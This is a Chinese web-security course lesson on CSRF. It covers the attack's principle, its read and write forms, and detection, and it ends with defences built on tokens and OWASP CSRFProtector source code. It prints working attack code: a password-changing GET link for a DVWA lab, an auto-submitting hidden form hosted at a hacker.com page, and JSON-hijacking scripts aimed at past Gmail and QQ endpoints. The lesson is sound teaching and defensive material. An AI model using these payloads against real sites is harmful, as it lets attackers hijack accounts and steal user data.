Skip to content

09CSRF漏洞:谁改了我的密码?

上一讲我介绍了 SQL 注入这种常见而又危害严重的漏洞,相信你对它已经有了一定的认识。这一讲我来介绍下被 OWASP 组织列为十大 Web 漏洞威胁之一的 CSRF(跨站请求伪造)漏洞。因为有"跨站"二字,不少人将它与 XSS 混为一谈,但其实它们的原理并不相同。

本讲我会从 CSRF 漏洞的产生原理、攻击手法、检测方法和防御手段这 4 个方面出发,全面地介绍 CSRF 漏洞,带你领略 CSRF 的危害,并能够自主挖掘和防御此类漏洞。

什么是 CSRF 漏洞

CSRF(Cross Site Request Forgery,跨站请求伪造,也叫 XSRF)漏洞是由于未校验请求来源,导致攻击者可在第三方站点发起 HTTP 请求,并以受害者的目标网站登录态(cookie、session 等)请求,从而执行一些敏感的业务功能操作,比如更改密码、修改个人资料、关注好友。

用张时序图来解释会更清楚一些,我把常用的攻击方式也画了上去,如下图所示:

图 1:CSRF 跨站请求伪造原理

从以上可以得知,CSRF 比较依赖业务功能。有时虽然存在 CSRF 但并没有实际危害,也不能算是真正意义上的 CSRF 漏洞。比如常规的登录账号功能,如果你不知道密码就无法登录,而如果知道了,那还需要构造 CSRF 请求吗?如果是为了实现多次登录失败,令目标账号暂时无法登录,那么也不需要用 CSRF。

如果是一些发消息、发微博的功能,那同样可以产生蠕虫效果,新浪和腾讯微博就曾发生过好多次此类 CSRF 蠕虫漏洞。

图 2:新浪微博 CSRF 蠕虫

在第 4 讲的 XSS 课程中,我曾介绍过 Samy 蠕虫,它利用 XSS 漏洞在用户资料插入一段 JS 脚本,致使任何查看它的用户在不知情的情况下执行各种操作(关注用户、修改个人资料等等),这种可称为"本站请求伪造"(On-site Request Forgery,OSRF)。有些人可能也因此将 CSRF 归类到 XSS 中,但注意此处产生危害的本质是 XSS 造成的,只不过是利用 XSS 来发起本站请求伪造,与跨站请求伪造情况不同。

所以,我个人更偏向将 XSS 与 CSRF 当作完全不同的漏洞类型来看待,并不赞成将 CSRF 归入 XSS 中。

CSRF 分类

从漏洞利用角度来分类的话,CSRF 可以分为 CSRF 读与 CSRF 写。

  • CSRF 读:通过伪造请求来获取返回的敏感信息,比如用户资料;常见的就是 JSON 劫持(详见下文),以及利用 Flash API 加载页面获取敏感信息。由于浏览器已经默认禁止 Flash,我就不介绍 Flash CSRF 的攻击手法了。

  • CSRF 写:通过伪造请求去修改网站数据,比如修改密码、发表文章、发送消息等操作。

CSRF 的攻击手法

以 DVWA 中的 CSRF 题目(Security Level 设置为 Low)为例,我们通过一个实例了解下 CSRF 的常用攻击手法。

图 3:DVWA CSRF 题目

输入密码提交的同时抓包。此处我直接用 Chrome 的 Network 功能(在《01 | 武器库:常用的渗透测试工具》中介绍过):

图 4:更改密码的请求包

抓包后发现只是个 GET 请求,那利用起来就简单了:直接构造以下链接发给受害者,受害者点击后就会被修改密码为你设置的密码。如下所示:

java
http://127.0.0.1/vulnerabilities/csrf/?password_new={你设置的密码}&password_conf={你设置的密码}&Change=Change

像这种 GET 型的 CSRF 漏洞利用就是仅需要修改下原 GET 的参数值,构造个链接发给对方就可以了;甚至直接使用图片链接嵌入到受害者可能访问的页面(博客、论坛、邮件等等),也可以实现漏洞的利用,这种利用方式更加隐蔽。

如果是 POST 请求,就需要编写利用代码,用 JS 脚本去实现自动提交表单,然后把它放在自己控制的服务器上。假设存放地址为 http://hacker.com/exploit.html ,再生成短网址 http://dwz.date/d74a 发给受害者。

图 5:短网址生成

exploit.html 利用代码如下:

xml
<html>
<form name = "test" action = "http://127.0.0.1/vulnerabilities/csrf" method = "post" >
<input type = "hidden" value="hacker" name="password_new" >
<input type = "hidden" value="hacker" name="password_conf" >
<input type = "hidden" value="Change" name="Change" >
</form>
<script>document.test.submit();</script>
</html>

这里是就模拟原网站的表单提交内容设置的,每个 input 都添加 type="hidden" 的属性是为了不在网页中显示,最后再利用 document.test.submit() 去自动提交表单,其中 "test" 是指 form 名单。

如果受害者访问上述包含 exploit.html 的 http://dwz.date/d74a ,就会发起以下请求:

图 6:通过 POST 请求利用 CSRF 漏洞

DVWA 的 CSRF 题目没有 POST 请求,上述的利用方式主要介绍的是 POST 类型的利用手法。这种方法反而比较常用,相信你在未来的 CSRF 测试中能够用上。

JSON 劫持攻击

JSON(JavaScript Object Notation,JavaScript 对象符号)是一种可以序列化任意数据,并能被 JavaScript 注释器直接处理的简单数据交换格式。我们来看一段 JSON 格式的包含用户信息的数据:

json
{ 
  "people":[ 
    {
      "name": "Brett",
      "email":"Brett@qq.com"
    },
    {
      "name":"Jason",
      "Jason@lagou.com"
    }
  ]
}

JSON 劫持是一种特殊的 CSRF 攻击方式,本质上也是未对请求来源做有效校验导致的,它主要是用来窃取服务器返回的敏感信息。

实现 JSON 劫持主要有两种攻击方式:覆写数据构造器和执行回调函数。

覆写数据构造器

若服务端返回的 JSON 数据中包含一个序列化数组,那攻击者就可以重定义数组构造器,以实现 JSON 数据的访问。比如 2006 年的 Gmail 就曾出现过 JSON 劫持联系人列表的漏洞,漏洞 CGI 位于:

java
http://mail.google.com/mail/?_url_scrubbed_

它会返回联系人列表的 JSON 数据。

json
[["ct","Your Name","foo@gmail.com"], ["ct","Another Name","bar@gmail.com"] ]

因此,可通过覆盖数组构造器来读取 JSON 数据。

xml
<script>
//在网页添加一个 table 表去显示劫持到的联系人信息
var table = document.createElement('table');
table.id = 'content';
table.cellPadding = 3;
table.cellSpacing = 1;
table.border = 0;
// 重新定义 Array 构造器
function Array() {
  var obj = this;
  var ind = 0;
  var getNext;

  getNext = function(x) {
    obj[ind++] setter = getNext;  // 将数组元素的 setter 定义为 getNext 函数
    if(x) {
      var str = x.toString();  // 获取 JSON 数据并转换成字符串
      if ((str != 'ct')&&(typeof x != 'object')&&(str.match(/@/))) {
        var row = table.insertRow(-1); // 指定行尾部
        var td = row.insertCell(-1);  // 指定列尾部
        td.innerHTML = str;  // 插入到表格中
      }
    }
  };
  this[ind++] setter = getNext;
}
function readGMail() {
  document.body.appendChild(table);
}
</scirpt>
<script src="http://mail.google.com/mail/?_url_scrubbed_"></script>

从以上代码中我们可以总结整个攻击流程:

  1. 通过<script>加载目标 JSON 对象到页面中;

  2. 覆写 Array 对象,并设置数组元素的 setter 为 getNext 函数,有时也可以使用 Object.prototype.__defineSetter__来覆盖 setter;

  3. getNext 函数读取包含联系人信息的 JSON 信息。

执行回调函数

不同域名之间传递数据时,无法通过 JavaScript 直接跨域访问,因此需要在访问脚本的请求中指定一个回调函数,用于处理 JSON 数据。正因如此,攻击者也可以利用它来劫持其他域返回的数据。这种攻击方式是当前 JSON 劫持中最为常见的方式。

以前的 QQ 网购就曾出现过这种 JSON 劫持漏洞,其利用代码如下:

xml
<html>
<body>
<script>
  function any(obj){
    alert(obj);	
  }
</script>
<script src='http://act.buy.qq.com/w/newbie/queryisnew?callback=any' ></script>
</body>
</html>

通过 callback 参数指定返回数据的处理函数 any,在 any 函数中,你可以根据 JSON 数据内容执行特定的处理,获取你想要的数据然后回传到自己控制的服务器上。

CSRF 检测方法

通过前面对 CSRF 原理的讲解,测试思路就很容易了:

  1. 抓包记录正常的 HTTP 请求;

  2. 分析 HTTP 请求参数是否可预测,以及相应的用途;

  3. 去掉或更改 referer 为第三方站点,然后重放请求;

  4. 判断是否达到与正常请求的同等效果,若是则可能存在 CSRF 漏洞,反之则不存在。

自动化的测试思路也是一样的实现方法,只不过很多时候不知道请求参数的实际用途,比较难评估其危害和价值。正如前面所说的,CSRF 的危害取决于参数用途,这也导致很多时候需要人工验证,不然很容易误报。我个人认为,目前没有特别好的自动化 CSRF 检测工具,大多是一些半自动的辅助类工具,比如 BurpSuite 上的 CSRF PoC 生成功能。

图 7:BurpSuite 的 CSRF PoC 生成功能

防御 CSRF

防御 CSRF 的关键思路就是令请求参数不可预测,所以常用的方法就是在敏感操作请求上使用 POST 代替 GET,然后添加验证码或 Token 进行验证。

这里不推荐 referer(即请求头中的来源地址)限制方法,因为通过 javascript:// 伪协议就能以空 referer 的形式发起请求,很容易绕过限制。如果你直接禁止空 referer,一些移动 App 上的请求又可能无法完成,因为移动 App 上的 http/https 请求经常是空 referer。

验证码

在一些重要的敏感操作上设置验证码(短信、图片等等),比如更改密码(此场景下也可要求输入原密码,这也是不可预测值)、修改个人资料等操作时。

图 8:修改绑定手机号增加短信验证

Token 验证

对于 CSRF 的防御,Token 验证无疑是最常用的方法,它对用户是无感知的,体验上比验证码好太多了。

在提交的表单中,添加一个隐藏的 Token,其值必须是保证不可预测的随机数,否则没有防御效果。下面是服务器生成并返回给当前用户的:

xml
<input type = "hidden" value="afcsjkl82389dsafcjfsaf352daa34df" name="token" >

提交表单后,会连同此 Token 一并提交,由服务器再做比对校验。

生成 Csrf Token 的算法,常常会取登录后 cookie 中的某值作为输入,然后采用一些加密/哈希算法生成,这也是为了方便后台校验和区分用户。

除了 Cookie Token,还可以使用伪随机值的 Session Token,即服务端生成一个伪随机数,存储到 $_SESSION 中,然后返回给用户的页面中隐藏此 Token;等用户提交后,再拿它与存储在 $_SESSION 的 Token 值比较。这是当前比较常用的 Token 生成与校验方式。

对于 PHP 网站,推荐使用 OWASP CSRFProtector,我们来看它是如何生成和校验 Token 的。

首先调用 random_bytes 函数、openssl_random_pseudo_bytes 函数或是 mt_rand 函数随机生成 Token,长度可配置,默认 128 位:

php
/*
 * Function: generateAuthToken
 * function to generate random hash of length as given in parameter
 * max length = 128
 *
 * Parameters: 
 * length to hash required, int
 *
 * Returns:
 * string, token
 */
public static function generateAuthToken()
{
	// todo - make this a member method / configurable
	$randLength = 64;
	
	//if config tokenLength value is 0 or some non int
	if (intval(self::$config['tokenLength']) == 0) {
		self::$config['tokenLength'] = 32;	//set as default
	}
	// 先用 radndom_bytes 生成随机数,没有的话再调用 openssl_random_pseudo_bytes,再没有的话就调用 mt_rand
	if (function_exists("random_bytes")) {
		$token = bin2hex(random_bytes($randLength));
	} elseif (function_exists("openssl_random_pseudo_bytes")) {
		$token = bin2hex(openssl_random_pseudo_bytes($randLength));
	} else {
		$token = '';
		for ($i = 0; $i < 128; ++$i) {
			$r = mt_rand (0, 35);
			if ($r < 26) {
				$c = chr(ord('a') + $r);
			} else { 
				$c = chr(ord('0') + $r - 26);
			}
			$token .= $c;
		}
	}
	return substr($token, 0, self::$config['tokenLength']);  // 截取指定长度的 token
}

然后将生成的 Token 存储到 $_SESSION 和 $_COOKIE 中:

php
/*
 * Function: refreshToken
 * Function to set auth cookie
 *
 * Parameters: 
 * void
 *
 * Returns: 
 * void
 */
public static function refreshToken()
{
	$token = self::generateAuthToken();
	if (!isset($_SESSION[self::$config['CSRFP_TOKEN']])
		|| !is_array($_SESSION[self::$config['CSRFP_TOKEN']]))
		$_SESSION[self::$config['CSRFP_TOKEN']] = array();
	//set token to session for server side validation
	array_push($_SESSION[self::$config['CSRFP_TOKEN']], $token);
	//set token to cookie for client side processing
	setcookie(self::$config['CSRFP_TOKEN'], 
		$token, 
		time() + self::$cookieExpiryTime,
		'',
		'',
		(array_key_exists('secureCookie', self::$config) ? (bool)self::$config['secureCookie'] : false));
}

在 form 表单中插入隐藏的 Token 值:

php
$hiddenInput = '<input type="hidden" id="' . CSRFP_FIELD_TOKEN_NAME.'" value="' .self::$config['CSRFP_TOKEN'] .'">' .PHP_EOL;
	......
$buffer = str_ireplace('</body>', $hiddenInput . '</body>', $buffer);

用户提交表单后,会将上述 Token 一并提交,最后由服务器对比用户提交的 Token 与 $_SESSION 中存储的 Token:

php
/*
 * Function: isValidToken
 * function to check the validity of token in session array
 * Function also clears all tokens older than latest one
 *
 * Parameters: 
 * $token - the token sent with GET or POST payload
 *
 * Returns: 
 * bool - true if its valid else false
 */
private static function isValidToken($token) {
	if (!isset($_SESSION[self::$config['CSRFP_TOKEN']])) return false;
	if (!is_array($_SESSION[self::$config['CSRFP_TOKEN']])) return false;
	foreach ($_SESSION[self::$config['CSRFP_TOKEN']] as $key => $value) {
		if ($value == $token) {
			// Clear all older tokens assuming they have been consumed
			foreach ($_SESSION[self::$config['CSRFP_TOKEN']] as $_key => $_value) {
				if ($_value == $token) break;
				array_shift($_SESSION[self::$config['CSRFP_TOKEN']]);
			}
			return true;
		}
	}
	return false;
}

这就是 CSRF Token 生成与校验的思路,总结下,先由服务端生成随机数作为 Token,然后存储到 Session 中,不一定都非要存储到 Cookie 中,然后在返回给用户的表单中插入隐藏的 Token,用户提交后,由服务器来比对提交的 Token 与 Session 中的 Token 是否一致,以此判断请求是否合法。

总结

本讲主要介绍了 CSRF 的产生原理、攻击手法、检测与防御方法,也列举了一些真实存在的企业漏洞进行讲解。同时,我还介绍了第三方 CSRF 防御库 CSRFProtector,从源码的角度详细分析了 CSRF Token 生成与校验原理,这是防御 CSRF 最有效也是最常用的方法。

理解 CSRF 的难点就在于,它不是为了窃取用户的登录凭证(cookie 等),而是直接利用用户已经登录过网站而留存在浏览器上的凭证,诱使用户访问恶意链接,借助登录凭证去执行敏感操作,整个攻击过程是在用户的浏览器上完成的。

在下一讲,我将给你介绍 SSRF,它与 CSRF 有一些相同的特点,但攻击目标不是用户,而是服务器,期待在下一讲中与你相见。